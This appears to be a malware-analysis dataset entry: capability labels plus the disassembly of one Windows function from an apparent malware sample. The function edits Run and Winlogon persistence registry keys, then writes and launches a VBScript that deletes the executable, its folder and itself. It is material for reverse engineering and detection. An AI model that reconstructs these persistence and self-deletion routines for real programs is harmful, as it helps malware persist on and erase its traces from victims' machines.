Function at 0x40843d
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Persist via winlogon helper dll registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push ebx
push esi
push edi
call fcn.0040b08f
cmp byte [0x41a148], 0x30
je 0x408461
mov ecx, 0x41a8e0
call fcn.00406d7a
cmp byte [0x41afbc], 1
jne 0x40846f
call fcn.004106a7
cmp byte [0x41a21a], 0
je 0x40848a
mov ecx, 0x41a1d8
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call fcn.00412447
pop ecx
cmp byte [0x41aa40], 1
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ebx, 0x80000001
jne 0x4084b3
mov ecx, 0x41aa30
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push edi
push ebx
call fcn.0040bccb
add esp, 0xc
cmp byte [0x41ac4d], 1
mov esi, 0x80000002
jne 0x4084d7
mov ecx, 0x41aa30
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push edi
push esi
call fcn.0040bccb
add esp, 0xc
cmp byte [0x41ac4c], 1
mov edi, str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon_
jne 0x40850a
push 1
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str.explorer.exe
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push str.Shell
push edi
push esi
call fcn.0040b9eb
add esp, 0x20
cmp byte [0x41aa18], 1
jne 0x408538
push 1
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str.C:WINDOWS_system32userinit.exe
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push str.Userinit
push edi
push esi
call fcn.0040b9eb
add esp, 0x20
cmp byte [0x41aa00], 1
jne 0x40855b
mov ecx, 0x41aa30
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
push esi
call fcn.0040bccb
add esp, 0xc
and word [ebp - 0x25c], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x25a]
rep stosd dword es:[edi], eax
mov esi, 0x41ac88
mov ecx, esi
stosw word es:[edi], ax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov edi, 0x208
lea eax, [ebp - 0x25c]
push edi
mov esi, 0x41aa20
push eax
push str.exepath
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push ebx
call fcn.0040b975
add esp, 0x1c
test al, al
jne 0x4085c8
lea eax, [ebp - 0x25c]
push edi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebx, dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__]
mov esi, 0x414848
mov edi, 0x41ac50
push esi
push edi
mov byte [ebp - 1], 1
call ebx
pop ecx
test al, al
pop ecx
je 0x40860d
push 0x80
mov ecx, 0x41ac50
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x25c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x408626
and byte [ebp - 1], al
lea eax, [ebp - 2]
push str.uninstall.vbs
push eax
push 0x415384
call dword [sym.imp.MSVCRT.dll__wgetenv]
pop ecx
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp - 0x54]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea eax, [ebp - 2]
lea ecx, [ebp - 0x24]
push eax
push 0x4152f0
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp - 0x14]
push str.On_Error_Resume_Next_n
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_unsigned_short_int_const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp byte [ebp - 1], 0
je 0x4086eb
lea eax, [ebp - 2]
push 0x41543c
push eax
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp - 0x44]
push str.while_fso.FileExists__
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_unsigned_short_int_const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x24]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
lea ecx, [ebp - 0x14]
push eax
call dword [0x4141f8]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea eax, [ebp - 0x25c]
push 0x415404
push eax
lea eax, [ebp - 2]
push eax
push str.fso.DeleteFile__
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp - 0x44]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
push eax
lea eax, [ebp - 0x34]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
lea ecx, [ebp - 0x14]
push eax
call dword [0x4141f8]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp byte [ebp - 1], 0
je 0x40875c
push str.wend_n
lea ecx, [ebp - 0x14]
call dword [0x4141fc]
push esi
push edi
call ebx
pop ecx
test al, al
pop ecx
je 0x4087a6
push 0x415404
push edi
lea eax, [ebp - 0x44]
push str.fso.DeleteFolder__
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_unsigned_short_int_const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x34]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
lea ecx, [ebp - 0x14]
push eax
call dword [0x4141f8]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x14]
call dword [0x4141fc]
xor edi, edi
lea ecx, [ebp - 0x54]
push edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::length_void_const]
shl eax, 1
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call fcn.004125af
add esp, 0x10
test al, al
je 0x4087fc
push edi
push esi
push esi
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
call dword [sym.imp.MSVCRT.dll_exit]